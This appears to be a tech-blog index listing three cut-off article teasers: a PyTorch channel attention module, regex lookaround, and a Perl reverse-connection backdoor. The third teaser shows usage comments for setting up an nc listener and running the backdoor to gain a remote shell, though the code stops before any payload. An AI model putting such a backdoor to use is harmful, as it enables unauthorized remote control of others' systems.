• Two parameter instances of Python forward


    Take channel attention block as an example class CAB(nn.Module): def __init__(self, in_channels, out_channels): super(CAB, self).__init__() self.global_pooling = nn.AdaptiveAvgPool2d(output_size=1) self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=1, stride=1, padding=0) self.relu = nn.ReLU() self.conv2 = nn.Conv2d(out_channels, out_channels, kernel_size=1, stride=1, padding=0) self.sigmod = nn.Sigmoid() def forward(self, x): x1, x2 = x # high, low x = torch.cat([x1,x2],dim=1) x = self.global_pooling(x) x […]

  • Case analysis of positive and negative prefetch in regular expressions


    In this paper, the positive and negative pre queries in regular expressions are illustrated. Share with you for your reference. The specific analysis is as follows: Here’s an example to explain what a forward lookup is. Example: there is a paragraph called “coming soon, going go gogogo”, which requires finding out com and go. The […]

  • Perl backdoor, forward and reverse! Instance code


    By Xiaojie uses NC monitoring Reverse connection code: #!/usr/bin/perl #usage: #nc -vv -l -p PORT(default 1988) on your local system first,then #Perl $0 Remote IP(default Remote_port(default 1988) #Type ‘exit’ to exit or press Enter to gain shell when u under the ‘console’. #nc -vv -l -p 1988 #perl backdoor.pl 1988 #use strict; use […]